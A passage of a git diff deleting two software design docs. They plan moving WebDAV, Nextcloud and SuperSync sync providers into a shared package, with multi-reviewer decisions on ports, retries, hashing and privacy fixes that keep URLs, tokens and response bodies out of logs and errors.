-(`webdav-base-provider.ts` + `webdav-api.ts` + `webdav-xml-parser.ts` + -`webdav-http-adapter.ts` + `webdav.ts` + `nextcloud.ts` + their -constants/models/specs) into `@sp/sync-providers`, behind the ports -introduced for Dropbox plus one new port for the Capacitor-registered -WebDAV HTTP plugin. Leave thin app-side factory shims so -`sync-providers.factory.ts` keeps working unchanged. - -**Status.** PR 5 has shipped slices 1-5 (scaffold, envelope types, -PKCE, native HTTP retry, error classes + Dropbox proper). This is -slice 6 in commit terms / "next slice" per the remaining-slice plan. -See `docs/long-term-plans/sync-core-extraction-plan.md` § "Remaining -Slice Plan" item 1 for surrounding context. - ---- - -## Multi-review consensus (2026-05-12) - -Four Claude reviewers (security/privacy, architecture, alternatives, -simplicity) ran in parallel against the original design. Codex and -Copilot were attempted but failed for environment reasons (Codex -blocked by harness sandbox, Copilot blocked by auto-mode classifier on -`--deny-tool` flags). Gemini eventually completed after a workspace- -sandbox retry and quota throttling; its report broadly agrees with the -Claude consensus on every decision below, with two dissents noted in -the "Gemini dissent" subsection at the end. - -### Gemini dissent (not adopted) - -- **Open question 1.** Gemini recommended **keeping** the dedicated - `WebDavNativeHttpExecutor` port "for naming consistency" with - `NativeHttpExecutor`. Rejected: the architecture and simplicity - reviewers verified by code reading that the existing port already - supports the WebDAV use case end-to-end (arbitrary `method` strings, - `responseType: 'text'`, `maxRetries: 0`). Naming consistency is a - weak argument against actual port duplication. -- **Open question 6.** Gemini recommended adding a **2-attempt / - 1s+2s retry policy with explicit `423 Locked` handling**. Rejected: - alternatives and simplicity reviewers both flagged this as a - behavior change in a move slice. The current adapter has zero - retries today; preserving that until empirically motivated keeps the - slice scope a refactor. Under open-question-1's port-reuse decision, - per-call-site `maxRetries` is trivially available later if needed. - -### Decisions revised after review - -- **Open question 1 (`WebDavNativeHttpExecutor` port) — DROP the new - port. Reuse `NativeHttpExecutor`.** Two of three reviewers - (architecture, simplicity) verified the existing port already - supports the WebDAV use case: `NativeHttpRequestConfig` accepts - `method: string` (so `PROPFIND` / `MKCOL` / `MOVE` work), already - has `responseType?: 'text' | 'json'` (so XML stays raw), and - `executeNativeRequestWithRetry` exposes `maxRetries?: number` with - explicit `0` support. The auto-JSON-parse "concern" is a property - of `CapacitorHttp.request`, not of the port — the port is just - `(config) => Promise`. The app injects a - different **adapter** (wired to `WebDavHttp` Capacitor plugin - instead of `CapacitorHttp`) of the **same** port. The alternatives - reviewer dissented (preferred a separate port to keep `data: string` - strictly typed), but the architecture argument that the response - contract `data: unknown` already covers strings, plus the YAGNI - argument, wins. Commit 2 collapses to "wire app-side - `APP_WEBDAV_NATIVE_HTTP: NativeHttpExecutor` factory" — no new - type, just a new adapter wiring. - -- **Open question 4 (inline `registerPlugin` cleanup) — DROP in this - slice.** Architecture reviewer verified a real correctness point: - `webdav-http-adapter.ts:31` registers `WebDavHttp` inline **without - a `web:` fallback**, while `capacitor-webdav-http/index.ts:4-6` - registers it **with** the `web: () => import('./web')` fallback. - Capacitor's `registerPlugin` is idempotent by name, so both work - today, but the canonical registration with the web fallback is the - one to keep. Dropping the inline registration is part of moving - the adapter into the package anyway. Resolved, not deferred. - -- **Open question 5 (CORS heuristic) — TIGHTEN in this slice.** Two - reviewers (security, simplicity) flag the existing heuristic at - `webdav-http-adapter.ts:180-219` as both leaking a raw error to - logs at line 208-211 (privacy regression — Firefox's "NetworkError - when attempting to fetch resource at ``" leaks the full URL) - and being overly broad ("Failed to fetch" matches every offline - state, not just CORS). Combined approach: collapse the heuristic - to a ~3-line check (`error instanceof TypeError && -error.message.includes('cors')`), and replace the ambiguous-error - log with structured `toSyncLogError(error)` plus - `urlPathOnly(options.url)` meta. Net result: ~40 lines deleted, - one privacy leak closed. - -- **Open question 6 (retry policy) — PRESERVE no-retry behavior.** - Three reviewers agreed: adding retries is a behavior change - masquerading as a refactor. WebDAV has stateful methods - (LOCK/UNLOCK) and conditional writes (412 Precondition Failed) - where retry semantics differ from Dropbox's idempotent file API. - Under the open-question-1 decision (reuse `NativeHttpExecutor`), - this becomes trivially a per-call-site `maxRetries: 0` argument — - the port doesn't decide. - -- **Open question 8 (spec split) — KEEP MONOLITHIC.** Dropbox - precedent: `dropbox-api.spec.ts` (~876 lines) was moved as one - file. Splitting during a Jasmine→Vitest migration conflates two - changes and balloons review diff. File-split is a follow-up if it - ever hurts maintenance. - -- **Commit shape — match Dropbox 5a/5b split.** Ship the helper - promotion (`errorMeta` / `urlPathOnly` → `packages/sync-providers/src/log/`) - as its own PR **6a** before the bulk move. Alternatives reviewer - noted this mirrors the Dropbox split, gets an independent green - build, and unblocks SuperSync slice prep. Bulk move becomes - PR **6b**: app-side `NativeHttpExecutor` adapter wiring + - WebDAV/Nextcloud file move + privacy sweep + Nextcloud generic - widening + `md5HashSync` migration, in one commit. Optionally - split 6b into "adapter wiring" + "file move" if the diff is still - unwieldy. - -- **Factory shim signature — `createWebdavProvider(extraPath?: string)`, - not `createWebdavProvider(deps)`.** Architecture reviewer caught - that the Dropbox precedent at - `src/app/op-log/sync-providers/file-based/dropbox/dropbox.ts:31-43` - has the factory **compose `deps` internally** from app singletons - (`APP_PROVIDER_PLATFORM_INFO`, `APP_WEB_FETCH`, `OP_LOG_SYNC_LOGGER`, - `SyncCredentialStore`). External callers pass app-level config - (e.g., `extraPath`), not the internal deps bag. WebDAV/Nextcloud - factories follow the same shape — `createWebdavProvider(extraPath?: string)` - matches `WebdavBaseProvider(_extraPath?: string)`. - -### Decisions affirmed - -- **Open question 2 (`md5HashSync` → `hash-wasm` async).** All three - reviewers that addressed it preferred option 1. Light recommendation - from alternatives: include a one-line benchmark in the PR - description (2 MB sync file) to confirm hash-wasm's WASM init cost - doesn't dominate; fall back to keeping `spark-md5` only if - empirically slower. The async ripple touches ~5 spec call sites - and `_computeContentHash` in `webdav-api.ts:27-29` becomes `async`. - -- **Open question 3 (Nextcloud generic — widen to union).** All three - affirmed. Eliminates four `as unknown as` casts. Architecture - reviewer flagged a future-cleanup observation: the generic is only - used as a phantom type for `SyncCredentialStore` keying, so a - later slice could decouple the credential-store key from the - private-cfg type entirely. Out of scope for this slice — note in - the long-term plan only. - -- **Open question 7 (test infrastructure — delete `TestableWebDavHttpAdapter`).** - Mirrors the Dropbox slice un-skip pattern. Inject `platformInfo` + - the native HTTP adapter (now `NativeHttpExecutor`) directly in - specs; delete the subclass-override harness. Spec count delta TBD - on execution. - -### New blockers surfaced (must fix in slice) - -The security reviewer identified privacy regression sites the original -privacy-sweep checklist undercounted: - -- **URL/basePath leak via `_buildFullPath` results passed to error - paths.** At least four call sites (`webdav-http-adapter.ts:118, 162, -173`, the catch-all log meta at `:117-121`) pass the full URL — must - scrub via `urlPathOnly` (PR 6a helper) at every error-construction - and log call site. Ordering note: PR 6a must land first so the - helper exists. -- **PROPFIND response body fed into `HttpNotOkAPIError`** at - `webdav-api.ts:66-71` and `webdav-http-adapter.ts:176`. - Multistatus responses contain user filenames. The slice must - audit `HttpNotOkAPIError`'s body retention and either drop the - second-arg body or replace with a length-only summary. -- **`testConnection` returns raw `e.message`** at - `webdav-api.ts:371-373`. Some runtimes embed the URL in the - message. Strip via `toSyncLogError(e).message` or use a fixed - user-facing string. -- **`_buildFullPath` throws generic `Error('Invalid path: ${path}')`** - at `webdav-api.ts:483-485`. Replace with `InvalidDataSPError` and - scrub the path. -- **A3 sweep undercount.** Privacy checklist enumerated only a few - `SyncLog.error(..., e)` sites; actual count includes - `webdav-api.ts:73, 111, 151, 261, 329, 372` plus - `webdav-base-provider.ts:83, 109, 124, 130`. Replace each with - `toSyncLogError(e)` + curated `SyncLogMeta`. -- **B3.4 (new): `FileMeta` never enters a log call site.** The - PROPFIND parser returns `FileMeta` with `displayname` / `href` - (user filenames). Add as an explicit invariant: any future logging - of a parsed `FileMeta` is a privacy regression. -- **Package-boundary invariant.** Pin "response headers are not - logged or attached to errors" as a documented package boundary so - future provider work doesn't accidentally regress it. - -### Simplicity-driven scope reductions - -The simplicity reviewer's analysis aligns with the open-question -decisions above and suggests further trims to the doc itself: - -- Once decisions are landed, the doc's "Open questions" section - collapses — most have answers now. Keep the section as a - decision-log instead of deferred questions. -- The `md5HashSync` section's option 2 (sync via injected port) is - dropped now that option 1 is the consensus. -- The Nextcloud generic section's option 1 (keep casts) is dropped. -- Doc target after revision: ~250 lines, every paragraph either - describes a move or records a decision. - -The "deferred to a follow-up" item simplicity raised about -`errorMeta` / `urlPathOnly` premature promotion is **rejected**: -the bulk-move adopts them in webdav-api during the privacy sweep -(replacing the new raw-error log sites), so they have ≥2 consumers -by the time PR 6b lands. PR 6a stands. - -### Action items going into PR 6a/6b - -1. **PR 6a (shared log helpers).** Promote `errorMeta` and - `urlPathOnly` from `dropbox-api.ts:88-104` into - `packages/sync-providers/src/log/error-meta.ts`. Export from the - package barrel. Update Dropbox imports. No behavior change. -2. **PR 6b (bulk move).** Single or two-commit (adapter wiring + file - move). Reuse `NativeHttpExecutor`. Apply the expanded privacy - sweep above. Widen Nextcloud generic. Migrate `md5HashSync` → - `hash-wasm`. Drop the inline `registerPlugin`. Tighten the CORS - heuristic. Convert specs to Vitest. Delete `TestableWebDavHttpAdapter`. - ---- - -## What moves - -### Source files - -From `src/app/op-log/sync-providers/file-based/webdav/` → -`packages/sync-providers/src/file-based/webdav/`: - -- `webdav-base-provider.ts` (175 lines) — abstract provider -- `webdav-api.ts` (545 lines) — file ops, hash-based conditional - uploads, directory creation queue -- `webdav-xml-parser.ts` (211 lines) — PROPFIND multistatus parsing -- `webdav-http-adapter.ts` (220 lines) — platform-routed HTTP + - status mapping. **The wrinkle for this slice.** -- `webdav.const.ts` (39 lines) — methods, headers, status codes -- `webdav.model.ts` (10 lines) — `WebdavPrivateCfg` -- `webdav.ts` (15 lines) — standard `Webdav` provider class -- `nextcloud.ts` (80 lines) — Nextcloud subclass + URL builder -- `nextcloud.model.ts` (8 lines) — `NextcloudPrivateCfg` -- All co-located `.spec.ts` files (Jasmine → Vitest) - -### Stays app-side - -- `src/app/op-log/sync-providers/file-based/webdav/capacitor-webdav-http/` - — Capacitor plugin registration. The `registerPlugin('WebDavHttp', { web: ... })` - call must remain in the app because `@capacitor/core` is banned from - the package. -- `src/app/op-log/sync-providers/sync-providers.factory.ts` — app - composition, wires the new factories. -- Provider IDs (`SyncProviderId.WebDAV`, `SyncProviderId.Nextcloud`) - in `provider.const.ts`. Package uses string constants. - ---- - -## New port: `WebDavNativeHttpExecutor` - -### Why a separate port from `NativeHttpExecutor` - -WebDAV cannot reuse the existing `NativeHttpExecutor` -(`packages/sync-providers/src/http/native-http-retry.ts`) verbatim: - -- `NativeHttpExecutor` is shaped around `CapacitorHttp.request`, - which auto-parses JSON, mishandles XML responses on Android/Koofr - (empty bodies), and breaks WebDAV semantics on iOS. The whole - reason the `WebDavHttp` Capacitor plugin exists is to bypass - `CapacitorHttp` for WebDAV. -- WebDAV methods include `PROPFIND`, `MKCOL`, `MOVE`, `COPY`, - `LOCK`, `UNLOCK` (see `webdav.const.ts`). `NativeHttpExecutor`'s - type signature doesn't constrain methods, so this isn't strictly - a blocker — but a dedicated port makes the divergent transport - explicit. -- The current adapter does not retry on its own. WebDAV servers - return 423 Locked, 412 Precondition Failed, 207 Multi-Status — - retry behavior is different from Dropbox's idempotent file API. - Slice 4's `executeNativeRequestWithRetry` policy (2 attempts, - 1s/2s, transient network only) doesn't map cleanly. - -### Proposed shape - -```ts -// packages/sync-providers/src/http/webdav-native-http.ts -export interface WebDavNativeHttpRequest { - readonly url: string; - readonly method: string; // includes PROPFIND, MKCOL, etc. - readonly headers?: Readonly>; - readonly data?: string | null; -} - -export interface WebDavNativeHttpResponse { - readonly status: number; - readonly headers: Readonly>; - readonly data: string; // always string, never parsed -} - -export type WebDavNativeHttpExecutor = ( - req: WebDavNativeHttpRequest, -) => Promise; -``` - -Callable type (matching the `WebFetchFactory` precedent from slice 5) -rather than `interface { request(): ... }`. One method, no state, no -reason for a class. - -### App-side wiring - -In `src/app/op-log/sync-providers/file-based/webdav/capacitor-webdav-http/`, -add an `APP_WEBDAV_NATIVE_HTTP` factory that returns: - -```ts -export const APP_WEBDAV_NATIVE_HTTP: WebDavNativeHttpExecutor = async (req) => { - const r = await WebDavHttp.request({ - url: req.url, - method: req.method, - headers: req.headers, - data: req.data, - }); - return { - status: r.status, - headers: r.headers ?? {}, - data: r.data ?? '', - }; -}; -``` - -The plugin's `web: () => import('./web').then(...)` fallback already -covers browsers; on Electron the same fallback works because -`Capacitor.isNativePlatform()` is `false`. The factory shim decides -whether to call the executor (`isNativePlatform`) or `fetch` directly, -mirroring the existing adapter behavior. - -Package-side `WebDavHttpAdapter` becomes: - -```ts -constructor( - private readonly deps: { - readonly platformInfo: ProviderPlatformInfo; - readonly webFetch: WebFetchFactory; - readonly nativeHttp: WebDavNativeHttpExecutor; - readonly logger: SyncLogger; - }, -) {} -``` - -(Naming TBD — see open question 1 below.) - -### Inline `registerPlugin` duplication - -`webdav-http-adapter.ts` lines 13-31 currently registers `WebDavHttp` -inline, **and** `capacitor-webdav-http/index.ts` registers it again -with the same plugin name. Capacitor's `registerPlugin` is idempotent -by name, so this works today but is dead duplication. The slice -should drop the inline registration in the adapter and keep only the -subfolder's registration, which the app-side -`APP_WEBDAV_NATIVE_HTTP` factory will reference. - ---- - -## Other moves - -### `md5HashSync` → `hash-wasm` - -`webdav-api.ts:14, 28` is the only non-spec consumer of -`md5HashSync` (`src/app/util/md5-hash.ts`, which wraps `spark-md5`). -`local-file-sync-base.ts:178` uses `md5HashPromise` — out of scope -this slice but track it for the LocalFile slice. - -`hash-wasm` is already a package runtime dep (used by PKCE on -non-WebCrypto platforms — `packages/sync-providers/src/pkce.ts`). -It provides `md5(data)` returning a hex `Promise`. Two -choices: - -1. **Async hash in the package.** Switch - `WebdavApi._computeContentHash` to `async` and adopt `hash-wasm`'s - `md5`. All call sites already `await` the API; the change - ripples through `getFileRev`, `uploadFile`, hash-based - conditional upload. Pro: drops the `spark-md5` dep at the package - boundary; aligns with the existing `hash-wasm` usage. Con: API - shape change touches ~5 spec call sites. -2. **Sync hash via injected port.** Add an `Md5HashSync` port - alongside the other deps; the app injects `spark-md5` wrapper, - the package stays sync. Pro: minimal call-site churn. Con: yet - another port, and `hash-wasm`'s `md5` is async-only. - -**Recommendation: option 1.** Async ripples are mechanical, and -removing `spark-md5` from the package surface is worth it. (Open -question 2 — see below.) - -### `errorMeta` / `urlPathOnly` promotion - -Currently in -`packages/sync-providers/src/file-based/dropbox/dropbox-api.ts:88-104`. -Move to `packages/sync-providers/src/log/error-meta.ts` so WebDAV -can adopt them without copy-paste. This is the heads-up flagged at -the end of the Fifth Slice summary. Should land as **PR 6a** before -or alongside the WebDAV move. - -### Provider ID constants - -Add to the package alongside `PROVIDER_ID_DROPBOX`: - -```ts -export const PROVIDER_ID_WEBDAV = 'WebDAV' as const; -export const PROVIDER_ID_NEXTCLOUD = 'Nextcloud' as const; -``` - -Replace `SyncProviderId.WebDAV` / `SyncProviderId.Nextcloud` reads -inside the package with these. The app composes -`SyncProviderId.WebDAV === PROVIDER_ID_WEBDAV` at type level via the -same `AssertWebdavId` / `AssertNextcloudId` conditional type pattern -used for Dropbox. - -### Nextcloud's `as unknown as` casts - -`nextcloud.ts:19, 25` and `nextcloud.ts:46, 77` use -`SyncProviderId.Nextcloud as unknown as SyncProviderId.WebDAV` -because `WebdavBaseProvider` is generic on `T extends -SyncProviderId.WebDAV`. After the move, the package's generic -parameter becomes `T extends typeof PROVIDER_ID_WEBDAV`, but -Nextcloud's id is `PROVIDER_ID_NEXTCLOUD`. The double-cast is -load-bearing for credential separation today. - -Two options here: - -1. **Keep the double-cast pattern in the package.** Direct port, - preserves runtime behavior, but the package's strict tsconfig - already bans `as unknown as` in two places — verify whether the - lint rule passes. -2. **Widen the generic** to `T extends typeof PROVIDER_ID_WEBDAV | -typeof PROVIDER_ID_NEXTCLOUD` and drop the casts. Better typed, - one extra union member. Probably the right call. - -**Recommendation: option 2.** (Open question 3.) - ---- - -## Privacy sweep checklist - -Apply the same A1/A3/B3.x audit that ran during the Dropbox slice: - -- **A1 — raw response bodies in logs.** Grep - `SyncLog.(critical|error|warn|log).*r\.data\|response\.data` in - webdav files. Replace with structured `toSyncLogError(e)` + curated - `SyncLogMeta`. -- **A3 — `SyncLog.critical(..., e)` raw-error logs.** Every - catch-site needs `toSyncLogError(e)` instead. Initial grep target: - `webdav-api.ts`, `webdav-base-provider.ts`, `webdav-http-adapter.ts`. -- **B3.1 — bearer-token / `Authorization` header leaks.** Already - fixed by PR 5a's `TooManyRequestsAPIError` narrowing. Re-verify the - webdav-http-adapter catch path doesn't construct - `HttpNotOkAPIError(response, body)` with anything containing the - `Authorization` header. (Spot check: `_checkHttpStatus` passes - `body` for the generic non-2xx case — confirm `body` never - contains the request header echo.) -- **B3.2 — `basePath` leaked into error paths.** WebDAV's - `_buildFullPath(cfg.baseUrl, dirPath)` is used as the URL **and** - in error construction. Audit: any error class receiving the full - URL should receive the relative `targetPath` (or - host-scrubbed URL). `RemoteFileNotFoundAPIError(url)` at - webdav-http-adapter.ts:162 is the prime suspect. -- **B3.3 — `responseData` carried in error fields.** Audit error - constructors for raw response payload fields, mirroring the - Dropbox `AuthFailSPError` fix. - -Add the privacy sweep findings to the slice's PR description so the -multi-review has the same checklist material the Dropbox slice had. - ---- - -## Suggested commit shape - -Three commits: - -1. **`refactor(sync-providers): promote shared log helpers`** — - Move `errorMeta(e, extra)` and `urlPathOnly(url)` from - `dropbox-api.ts` into `packages/sync-providers/src/log/error-meta.ts`. - Re-export from the package barrel; update Dropbox imports. No - behavior change. -2. **`refactor(sync-providers): add WebDavNativeHttpExecutor port`** — - Introduce the port type in - `packages/sync-providers/src/http/webdav-native-http.ts`. Add the - app-side `APP_WEBDAV_NATIVE_HTTP` factory wired to the existing - `capacitor-webdav-http/` plugin registration. No provider move - yet; this commit exists in isolation so the port surface gets its - own review focus. -3. **`refactor(sync-providers): move WebDAV provider into package`** — - The bulk move. Files listed above. Convert specs to Vitest. - Replace `SyncProviderId.WebDAV` / `.Nextcloud` with package - constants. Switch `md5HashSync` to `hash-wasm`. Apply the - privacy sweep findings inline. Replace the - `WebdavBaseProvider`'s direct `WebDavHttpAdapter` instantiation - with constructor-injected deps. App-side - `webdav.ts` / `nextcloud.ts` shrink to - `createWebdavProvider(deps)` / `createNextcloudProvider(deps)` - factory functions called from `sync-providers.factory.ts`. Drop - the inline `registerPlugin` from the moved adapter (the - subfolder registration is canonical). - -Each commit ships independently green: package tests + lint after -each. The third commit is the big one (~12 source files, ~5 spec -files, ~1500 LOC); split further if review feedback wants finer -bisects. - ---- - -## Open questions for multi-review - -1. **Port naming.** `WebDavNativeHttpExecutor` is consistent with - `NativeHttpExecutor` but verbose. Alternatives: - `WebDavHttpTransport`, `WebDavRequestExecutor`. Architecture - reviewer to pick. -2. **`md5HashSync` strategy.** Async via `hash-wasm` (option 1 - above) vs sync via injected port (option 2). Performance - reviewer to weigh in — hashing a 1-2 MB sync file ~10x per - upload could matter. -3. **Nextcloud generic parameter.** Keep `as unknown as` casts or - widen the package generic to a union. Simplicity reviewer to - call. -4. **Inline `registerPlugin` cleanup.** Drop in this slice or defer - to a follow-up. Alternatives reviewer to flag scope creep. -5. **CORS detection heuristic.** `webdav-http-adapter.ts:180-219` - uses a string-match heuristic on `error.message`. The - "ambiguous network error" log path also leaks the raw error. - Should the slice tighten this (use structured meta only) or - defer? Security reviewer to flag. -6. **`WebDavHttpAdapter` retry policy.** Currently no retries. - Should the slice add the same 2-attempt / 1s+2s policy that - Dropbox uses, or preserve "no retry" behavior? Performance + - alternatives reviewers to call. -7. **Test infrastructure for native-routed specs.** Dropbox slice - un-skipped 33 native specs under Vitest using the injected - executor mock. WebDAV's specs currently use a `TestableWebDavHttpAdapter` - subclass override pattern (similar to Dropbox pre-slice 5). - Plan to delete that and inject `platformInfo` + `nativeHttp` - mocks instead — confirm spec count delta. -8. **Spec migration scope.** `webdav-api.spec.ts` is 853 lines. - Worth splitting into a few smaller files during the move, or - keep monolithic to minimize review diff? Simplicity reviewer. - ---- - -## Verification gates - -Before merging: - -- `npm run sync-providers:test` — package specs green -- `npm run sync-providers:build` — package builds, expect bundle - growth (~+15-20 KB ESM) -- `npm run lint` — boundary lint clean -- Targeted app specs: `webdav-base-provider.spec.ts`, - `webdav-api.spec.ts`, `webdav-http-adapter.spec.ts`, - `webdav-xml-parser.spec.ts`, `sync-wrapper.spec.ts`, - `file-based-sync-adapter.spec.ts`, identity spec -- Full `npm test` -- Full E2E -- Manual round-trip: WebDAV against a real Nextcloud, hash-based - conditional upload (PUT with `If-Match` rev), 412 conflict path, - 401 reauth path, 404 fresh-client bootstrap - ---- - -## Not in scope this slice - -- SuperSync provider move (slice 7) -- LocalFile provider move (slice 8) -- `md5HashPromise` consumer migration in - `local-file-sync-base.ts` — out of scope until LocalFile slice -- Per-package barrel split - (`@sp/sync-providers/dropbox`, `/webdav`, ...) — deferred to - PR 7 polish; the single barrel is still fine bundle-size-wise -- Removal of the legacy `SyncProviderId.WebDAV` / - `.Nextcloud` enum values — app keeps the enum for OAuth routing - and config-UI dispatch; the package only adds the string - constants alongside diff --git a/docs/plans/2026-05-12-pr7-super-sync-slice.md b/docs/plans/2026-05-12-pr7-super-sync-slice.md deleted file mode 100644 index 5dadb5535e..0000000000 --- a/docs/plans/2026-05-12-pr7-super-sync-slice.md +++ /dev/null @@ -1,741 +0,0 @@ -# PR 7 — SuperSync Slice (design doc) - -> For Claude executing this: this is a **design doc for multi-review**, not a -> step-by-step implementation plan. Once the design choices below are -> ratified, rewrite as a TDD plan or execute in commits per the "Suggested -> commit shape" section. - -**Goal.** Move the SuperSync provider (`super-sync.ts`, -`super-sync.model.ts`, and its co-located spec) into -`@sp/sync-providers`, behind the ports introduced for Dropbox + WebDAV -plus one new storage port and one new response-validator port. Leave -a thin app-side factory shim so `sync-providers.factory.ts` keeps -working unchanged. The four SuperSync-named app services -(`super-sync-status.service`, `super-sync-websocket.service`, -`super-sync-restore.service`, `supersync-encryption-toggle.service`) -stay app-side because they depend on Angular/NgRx wiring that doesn't -belong in the package. - -**Status.** PR 5 has shipped slices 1-6 (scaffold, envelope types, -PKCE, native HTTP retry, error classes + Dropbox proper, WebDAV + -Nextcloud). This is slice 7 in the long-term plan, the second-to-last -provider lift. LocalFile remains as slice 8. See -`docs/long-term-plans/sync-core-extraction-plan.md` § "Remaining Slice -Plan" item 1 for surrounding context. - ---- - -## Multi-review consensus (2026-05-12) - -Six Claude reviewers (correctness, security/privacy, architecture, -alternatives, performance, simplicity) ran in parallel against the -original design. Codex and Gemini were not run for this slice (the -WebDAV-slice precedent already established the multi-review protocol -shape, and the Claude lenses converged strongly on the open -questions). Consensus is recorded below; minority positions explicitly -noted. - -### Decisions revised after review - -- **Open question 1 (`WebFetchFactory` adoption) — ADOPT.** - Simplicity, alternatives, and architecture all agreed: free - consistency with Dropbox/WebDAV, identical iOS late-patching risk - at construction time, three-line wiring cost. Closed. -- **Open question 2 (`RestorePointType` narrowing) — KEEP PACKAGE - GENERIC; app shim narrows.** Alternatives + simplicity both - argued threading the narrow union into the package re-introduces - domain coupling the boundary forbids. Mirrors how - `OperationSyncCapable<'superSyncOps'>` is handled today. -- **Open question 3 (`KeyValueStoragePort` vs narrow - `SuperSyncStorage`) — PICK NARROW (option A).** Architecture and - alternatives both pushed back on the generic option. Three reasons - the narrow port wins: (1) `lastServerSeq` is provider state, not - transport state — the generic port advertises a generality the - package doesn't use; (2) the prefix + `parseInt` indirection - becomes host-coupled if the port is generic; (3) LocalFile (slice 8) is `FileSyncProvider`-shaped and has no `lastServerSeq` - equivalent, so the "reuse" argument is speculative. Architecture's - further "absorb into `SuperSyncPrivateCfg`" alternative is more - invasive than this slice should attempt — noted as a follow-up. -- **Open question 4 (`isTransientNetworkError` strategy) — PROMOTE - under an intent-anchored name, not `isTransientErrorMessage`.** - Architecture flagged the naming smell: after promotion the package - has `isTransientNetworkError(e: unknown)` (native-code-aware) and - the promoted helper. Names that discriminate on input shape will - get mixed up. Pick a name that anchors on intent — e.g. - `isRetryableUploadError` (the actual semantic surface — "should - this upload-result error trigger a retry?"). Correctness - separately flagged the barrel-export collision risk — explicit - resolution: barrel exports both as distinct names; app's - `sync-error-utils.ts` re-exports the promoted helper aliased back - to its current name so `operation-log-upload.service.ts` doesn't - change. -- **Open question 5 (spec migration — monolithic vs split) — - MONOLITHIC, defer split.** Three reviewers (architecture, - performance, simplicity) affirmed; one (alternatives) preferred a - pre-split-then-move three-way commit. Architecture's reasoning - carried: conflating a 1.8×-larger-than-WebDAV Jasmine→Vitest port - with a structural split burns review attention. The three-way - split (core/ops/fetch) is recorded as a follow-up commit shape so - the deferred work is concrete. Alternatives' dissent noted in § - "Recorded dissents" below. -- **Open question 6 (compression — direct import vs port) — DIRECT - `@sp/sync-core` import.** Performance verified the paths are - observationally equivalent; architecture and simplicity affirmed; - correctness's grep proved no `instanceof CompressError` catches - exist downstream. Alternatives' dissent (move - `CompressError`/`DecompressError` into `@sp/sync-core` for - strict behavior preservation) noted in § "Recorded dissents". -- **Open question 7 (privacy A1 — fixed status vs scrubbed) — - EXTRACTED-REASON form, not blanket fixed status.** Both correctness - and security flagged that the doc's "fixed `HTTP -`" form discards useful 5xx debug information that - comes from the server's JSON `error` field. The right shape is: - call `_extractServerErrorReason(body)` (already exists) on the - generic-error path too, cap the extracted reason at 80 chars, and - thread it through the thrown `Error.message`. Statusline form - differs by transport: web uses `HTTP — `, - native uses `HTTP — ` (`CapacitorHttp` doesn't - surface `statusText`). The blanket "drop body" rule still applies - for everything other than the extracted-reason short string. -- **Open question 8 (factory shape) — DROP `extraPath`.** Architecture - and alternatives both noted that SuperSync explicitly ignores - `basePath` (super-sync.ts:70-72 comment). Carrying a dead parameter - for "consistency" with Dropbox/WebDAV hides intent. `createSuperSyncProvider()` - takes no arguments. The `sync-providers.factory.ts` call site is the - only update. - -### Decisions affirmed - -- **`SuperSyncResponseValidators` six-method port shape.** Alternatives - noted a single-function `(name, data) => unknown` dispatcher - alternative; rejected because string-typed dispatch pushes the - type-key mapping into the package and degrades call-site - ergonomics. Architecture affirmed: the validator-as-port shape - with the response _types_ already in `@sp/sync-providers` is the - inverted-dep solution the architectural rule wants. -- **`PROVIDER_ID_SUPER_SYNC` + `AssertSuperSyncId` pattern.** - Simplicity initially flagged this as cargo cult; verification - against Dropbox at `packages/sync-providers/src/file-based/dropbox/dropbox.ts:43` - and `src/app/op-log/sync-providers/file-based/dropbox/dropbox.ts:19` - proved it's load-bearing — the package generic is keyed on - `typeof PROVIDER_ID_DROPBOX`, and the assert protects against - enum-vs-constant drift. Keep. -- **`getAuthHelper` not on SuperSync.** Correctness confirmed via - grep that no consumer expects SuperSync to implement it - (`sync-wrapper.service.ts:899`, `dialog-sync-cfg.component.ts:442`, - `config-page.component.ts:133` all feature-detect). No action. -- **Bundle size deferral.** Performance estimated CJS lands at - ~95-100 KB (under the doc's 110 KB projection — SuperSync's - private helpers minify well). Tiered-barrel split stays a - documented deferral; cost rises with each slice but does not - bind this one. - -### New blockers surfaced (must fix in slice) - -The security and correctness reviewers independently surfaced four -privacy regression sites the doc's original sweep undercounted. All -of these must be fixed inside PR 7b: - -- **`AuthFailSPError(reason, body)` retains body in `additionalLog`.** - `super-sync.ts:413` constructs `new AuthFailSPError(reason || ..., -body)`. The package-side class `AuthFailSPError` at - `packages/sync-providers/src/errors/index.ts:205-207` extends - `AdditionalLogErrorBase`, whose constructor (L29-36 of the same - file) stores all rest-args on `this.additionalLog`. PR 5b's - Dropbox slice did NOT scrub this for SuperSync — it only stopped - the constructor-time `OP_LOG_SYNC_LOGGER.log` side effect. The raw - `body` (which may contain user content on a 401/403 response) - still lives on the error instance and can flow into log exports or - error-reporting UI. **Fix:** drop the `body` arg at the SuperSync - call site; construct as - `new AuthFailSPError(reason || \`Authentication failed (HTTP \${status})\`)`. - Pin the invariant in a code comment. -- **`_handleNativeRequestError` user-facing message embeds raw - `errorMessage`.** `super-sync.ts:478-481` re-throws with - `\`Unable to connect to SuperSync server. Check your internet - connection. (\${errorMessage})\``. The `errorMessage`was extracted -via`\_getErrorMessage(error)`; on low-level CapacitorHttp DNS/TLS -errors the underlying `.message` can carry the resolved hostname - or full URL. **Fix:** drop the parenthesised interpolation - entirely; the fixed user-facing string suffices. Logging the - underlying error happens separately via the structured log on - L470-475 (already safe). -- **Timeout `Error.message` embeds `path` with query string.** - `super-sync.ts:620` throws - `\`SuperSync request timeout after \${...}s: \${path}\``. The -`path`for`downloadOps`carries`?sinceSeq=…&excludeClient=…&limit=…`; `excludeClient`is a -pseudonymous device identifier (clientId). **Fix:** drop`path` - from the thrown message; the structured log on L617-619 already - captures the path. -- **`_extractServerErrorReason` returns server `error` field uncapped.** - `super-sync.ts:424-432` extracts a JSON `error` field with no - length cap. The SuperSync server's auth-fail contract is fixed- - vocabulary today, but a future server change could embed the - rejected `clientId` or path. **Fix:** cap the extracted reason at - 80 chars and document the assumption as a code comment on the - helper. - -Additional pinned invariants to land alongside the move (mirroring -WebDAV slice's "response headers are not logged" boundary -documentation): - -- **`getEncryptKey` JSDoc invariant.** "Callers MUST NOT log the - return value; pass to encryption pipeline only." The credential - store already redacts to length-only on storage; the boundary at - the public method is the right place to pin. -- **`getWebSocketParams` JSDoc invariant.** "This is the only method - that exposes the access token to callers. Callers MUST NOT log the - return value." Without this, a future refactor could leak the - token through other return values. -- **`_cachedServerSeqKey` invalidation invariant.** The `null`-reset - in `setPrivateCfg` (L91) is load-bearing for per-user/per-server - seq isolation. Pin as a JSDoc `@invariant` on the private field. - Add a 